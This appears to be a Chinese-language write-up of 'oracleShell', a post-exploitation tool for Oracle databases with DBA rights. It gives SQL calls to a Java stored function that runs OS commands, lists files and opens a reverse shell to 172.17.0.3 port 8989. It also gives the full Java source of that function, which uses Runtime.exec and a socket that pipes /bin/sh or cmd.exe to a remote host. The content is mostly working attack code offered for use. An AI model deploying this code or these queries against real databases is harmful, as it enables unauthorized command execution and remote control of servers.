oracleShell oracle 数据库命令执行
测试环境-DBA权限:
SELECT * FROM v$version
Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - Production
PL/SQL Release 11.2.0.1.0 - Production
"CORE 11.2.0.1.0 Production"
TNS for 32-bit Windows: Version 11.2.0.1.0 - Production
NLSRTL Version 11.2.0.1.0 - Production
Function
命令执行
select run('exec','whoami','UTF-8') from dual;
文件管理
select run('list','/usr','UTF-8') from dual;
获取当前路径
select run('getCurrentDir','','UTF-8') from dual;
反弹shell
select run('connectBack','172.17.0.3^8989','UTF-8') from dual;
Shell.java
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.Socket;
import java.util.Date;
public class Shell extends Object {
public static String run(String methodName, String params, String encoding) {
String result = "";
if (methodName.equalsIgnoreCase("exec")) {
result = Shell.exec(params, encoding);
} else if (methodName.equalsIgnoreCase("list")) {
result = Shell.list(params, encoding);
} else if (methodName.equalsIgnoreCase("getCurrentDir")) {
result = Shell.getCurrentDir();
} else if (methodName.equalsIgnoreCase("connectBack")) {
String ip = params.substring(0, params.indexOf("^"));
String port = params.substring(params.indexOf("^") + 1);
result = Shell.connectBack(ip, Integer.parseInt(port));
} else {
result = "unkown methodName";
}
return result;
}
public static String exec(String cmd, String encoding) {
String result = "";
if (encoding == null || encoding.equals("")) {
encoding = "utf-8";
}
Process p;
try {
p = Runtime.getRuntime().exec(cmd);
try {
p.waitFor();
} catch (InterruptedException e) {
result += e.getMessage();
e.printStackTrace();
}
InputStream fis;
if (p.exitValue() == 0) fis = p.getInputStream();
else fis = p.getErrorStream();
InputStreamReader isr = new InputStreamReader(fis);
BufferedReader br = new BufferedReader(isr);
String line = null;
while ((line = br.readLine()) != null) {
result += line + "\n";
}
} catch (IOException e) {
result += e.getMessage();
}
return result;
}
public static String list(String path, String encoding) {
String result = "";
if (encoding == null || encoding.equals("")) {
encoding = "utf-8";
}
File file = new File(path);
File[] items = file.listFiles();
for (int i = 0; i < items.length; i++) {
File item = items[i];
String type = item.isDirectory() ? "<DIR>" : " ";
String size = item.isDirectory() ? " " : item.length() / 1024 + "KB";
if (size.equals("0KB")) size = item.length() + "Byte";
String date = new Date(item.lastModified()).toLocaleString();
result += date + " " + type + " " + size + " " + item.getName() + "\n";
}
return result;
}
public static String getCurrentDir() {
String result = "";
File directory = new File("");
try {
result = directory.getAbsolutePath();
} catch (Exception e) {
}
return result;
}
public static String connectBack(String ip, int port) {
class StreamConnector extends Thread {
InputStream sp;
OutputStream gh;
StreamConnector(InputStream sp, OutputStream gh) {
this.sp = sp;
this.gh = gh;
}
public void run() {
BufferedReader xp = null;
BufferedWriter ydg = null;
try {
xp = new BufferedReader(new InputStreamReader(this.sp));
ydg = new BufferedWriter(new OutputStreamWriter(this.gh));
char buffer[] = new char[8192];
int length;
while ((length = xp.read(buffer, 0, buffer.length)) > 0) {
ydg.write(buffer, 0, length);
ydg.flush();
}
} catch (Exception e) {
}
try {
if (xp != null) xp.close();
if (ydg != null) ydg.close();
} catch (Exception e) {
}
}
}
try {
String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
ShellPath = new String("/bin/sh");
} else {
ShellPath = new String("cmd.exe");
}
Socket socket = new Socket(ip, port);
Process process = Runtime.getRuntime().exec(ShellPath);
(new StreamConnector(process.getInputStream(), socket.getOutputStream())).start();
(new StreamConnector(socket.getInputStream(), process.getOutputStream())).start();
} catch (Exception e) {
}
return "^OK^";
}
}
参考链接:
rebeyond-oracleShell.jar